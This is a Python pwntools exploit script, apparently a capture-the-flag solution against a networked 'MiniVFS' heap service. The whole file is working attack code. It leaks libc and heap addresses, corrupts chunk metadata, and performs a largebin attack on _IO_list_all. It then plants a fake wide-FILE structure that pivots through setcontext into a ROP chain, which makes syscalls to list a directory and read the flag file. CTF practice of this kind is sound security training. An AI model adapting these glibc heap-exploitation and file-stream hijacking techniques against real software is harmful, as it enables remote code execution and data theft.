#!/usr/bin/env python3
from __future__ import annotations

import argparse
import re

from pwn import ELF, context, flat, log, p32, p64, remote, u64


context.arch = "amd64"
context.bits = 64

LIBC_PATH = "./attachments/libc.so.6"

PATHS = [
    "/f28",
    "/f0",
    "/f7",
    "/f5",
    "/f4",
    "/f23",
    "/f16",
    "/f21",
    "/f6",
    "/f9",
    "/f8",
    "/f13",
    "/f2",
    "/f31",
    "/f10",
    "/f1",
]

UNSORTED_LEAK_OFF = 0x210B20

GADGETS = {
    "pop_rsp": 0x3C8F8,
    "pop_rdi": 0x119E9C,
    "pop_rsi": 0x11B07D,
    # pop rdx; xor eax, eax; pop rbx; pop r12; pop r13; pop rbp; ret
    "pop_rdx_4pop": 0xBBBFC,
    "pop_rax": 0xE4E97,
    "syscall": 0x9F4A6,
}


def path_hash_key(path: str) -> tuple[int, int, int]:
    h = 0x811C9DC5
    for b in path.encode():
        h = ((h ^ b) * 0x1000193) & 0xFFFFFFFF
    h = (((h ^ (h >> 16)) * 0x7FEB352D) & 0xFFFFFFFF)
    h = (((h ^ (h >> 15)) * 0x846CA68B) & 0xFFFFFFFF)
    h = (h ^ (h >> 16)) & 0xFFFFFFFF
    return h, h & 0xF, (h ^ 0xA5A5A5A5) & 0xFFFFFFFF


class MiniVFS:
    def __init__(self, host: str, port: int):
        self.io = remote(host, port)
        self.io.recvuntil(b"vfs> ")

    def cmd(self, line: bytes | str) -> bytes:
        if isinstance(line, str):
            line = line.encode()
        self.io.sendline(line)
        return self.io.recvuntil(b"vfs> ", timeout=3)

    def touch(self, path: str, size: int) -> bytes:
        key = path_hash_key(path)[2]
        return self.cmd(f"touch {path} {hex(size)} {hex(key)}")

    def rm(self, path: str) -> bytes:
        key = path_hash_key(path)[2]
        return self.cmd(f"rm {path} {hex(key)}")

    def cat(self, path: str) -> bytes:
        key = path_hash_key(path)[2]
        self.io.sendline(f"cat {path} {hex(key)}".encode())
        data = self.io.recvuntil(b"vfs> ", timeout=3)
        return data[:-5] if data.endswith(b"vfs> ") else data

    def write(self, path: str, data: bytes, n: int | None = None) -> bytes:
        if n is None:
            n = len(data)
        key = path_hash_key(path)[2]
        self.io.sendline(f"write {path} {hex(n)} {hex(key)}".encode())
        self.io.recvuntil(b"> ")
        self.io.send(data)
        return self.io.recvuntil(b"vfs> ", timeout=3)

    def finish(self) -> bytes:
        self.io.sendline(b"quit")
        return self.io.recvall(timeout=5)


def build_rop(libc_base: int, qhdr: int, buf: int, mode: str, target_path: bytes) -> tuple[bytes, int]:
    pop_rax = libc_base + GADGETS["pop_rax"]
    pop_rdi = libc_base + GADGETS["pop_rdi"]
    pop_rsi = libc_base + GADGETS["pop_rsi"]
    pop_rdx = libc_base + GADGETS["pop_rdx_4pop"]
    syscall = libc_base + GADGETS["syscall"]
    path_addr = qhdr + 0x4B0

    chain: list[int] = []

    def sysno(n: int, a: int, b: int, c: int) -> None:
        chain.extend(
            [
                pop_rdi,
                a,
                pop_rsi,
                b,
                pop_rdx,
                c,
                0,
                0,
                0,
                0,
                pop_rax,
                n,
                syscall,
            ]
        )

    if mode == "dir":
        sysno(257, 0xFFFFFFFFFFFFFF9C, path_addr, 0)  # openat(AT_FDCWD, ".", O_RDONLY)
        sysno(217, 3, buf, 0x400)  # getdents64
        sysno(1, 1, buf, 0x400)  # write
    else:
        sysno(2, path_addr, 0, 0)  # open
        sysno(0, 3, buf, 0x100)  # read
        sysno(1, 1, buf, 0x100)  # write
    sysno(60, 0, 0, 0)
    return flat(chain), path_addr


def trigger(host: str, port: int, libc: ELF, mode: str, target_path: bytes = b".") -> bytes:
    v = MiniVFS(host, port)
    a, b, c, d, e, x, q, g, y = PATHS[:9]
    size = 0x4F8

    for path in [a, b, c, d]:
        v.touch(path, size)

    v.rm(a)
    v.rm(c)
    v.touch(c, size)
    leak = v.cat(c)
    libc_base = u64(leak[:8]) - UNSORTED_LEAK_OFF
    heap = u64(leak[8:16]) - 0xA00
    log.info("libc_base=%#x heap_chunk=%#x", libc_base, heap)

    v.touch(a, size)

    payload = bytearray(b"A" * size)
    payload[0:8] = p64(heap)
    payload[8:16] = p64(heap)
    payload[0x10:0x20] = b"\0" * 0x10
    payload[0x4F0:0x4F8] = p64(0x500)
    v.write(c, bytes(payload), size)
    v.rm(b)

    v.touch(b, 0x4E8)
    v.touch(e, 0x500)
    v.touch(q, 0x4D8)
    v.touch(g, size)

    qhdr = heap + 0x1400
    guard = heap + 0x18F0

    v.rm(b)
    v.touch(x, 0x500)
    largebin = v.cat(c)
    fd, bk, fd_next, _ = [u64(largebin[i : i + 8]) for i in range(0, 32, 8)]

    io_list_all = libc_base + libc.symbols["_IO_list_all"]
    setcontext = libc_base + libc.symbols["setcontext"]
    wfile_jumps = libc_base + libc.symbols["_IO_wfile_jumps"]

    wide = qhdr + 0x200
    wide_vtable = qhdr + 0x300
    rop_stack = guard
    lock = guard + 0x400

    rop, path_addr = build_rop(libc_base, qhdr, qhdr, mode, target_path)

    fake = bytearray(b"\0" * 0x4D8)

    def put(off: int, val: int) -> None:
        fake[off - 0x10 : off - 0x8] = p64(val)

    put(0x68, 0)
    put(0x88, lock)
    put(0xA0, wide)
    put(0xA8, libc_base + GADGETS["pop_rsp"])
    put(0xC0, 0)
    put(0xD8, wfile_jumps)
    put(0xE0, qhdr + 0x400)
    fake[0x1C0 - 0x10 : 0x1C0 - 0x0C] = p32(0x1F80)
    put(0x200, rop_stack)
    put(0x218, 0)
    put(0x230, 0)
    put(0x2E0, wide_vtable)
    put(0x368, setcontext)

    path_bytes = b".\0" if mode == "dir" else target_path.rstrip(b"\0") + b"\0"
    fake[path_addr - qhdr - 0x10 : path_addr - qhdr - 0x10 + len(path_bytes)] = path_bytes
    used = max(0x4C0, path_addr - qhdr - 0x10 + len(path_bytes))

    v.write(q, bytes(fake[:used]), used)
    v.write(g, rop, len(rop))
    v.rm(q)

    v.write(c, flat(fd, bk, fd_next, io_list_all - 0x20), 0x20)
    v.touch(y, 0x500)
    return v.finish()


def parse_flag_name(directory_dump: bytes) -> bytes:
    match = re.search(rb"flag_[0-9a-fA-F]{16}", directory_dump)
    if not match:
        raise RuntimeError(f"failed to find randomized flag name in directory dump: {directory_dump!r}")
    return b"/" + match.group(0)


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("host", nargs="?", default="127.0.0.1")
    parser.add_argument("port", nargs="?", type=int, default=10001)
    parser.add_argument("--libc", default=LIBC_PATH)
    parser.add_argument("--flag-path", type=lambda s: s.encode(), default=None)
    parser.add_argument("--debug", action="store_true")
    args = parser.parse_args()

    context.log_level = "debug" if args.debug else "info"
    libc = ELF(args.libc, checksec=False)

    if args.flag_path is None:
        log.info("stage 1: dumping chroot directory")
        directory = trigger(args.host, args.port, libc, "dir")
        flag_path = parse_flag_name(directory)
        log.success("found flag path: %s", flag_path.decode())
    else:
        flag_path = args.flag_path

    log.info("stage 2: reading %s", flag_path.decode(errors="replace"))
    data = trigger(args.host, args.port, libc, "read", flag_path)
    match = re.search(rb"flag\{[^}]+\}", data)
    if match:
        log.success(match.group(0).decode())
    else:
        print(data)


if __name__ == "__main__":
    main()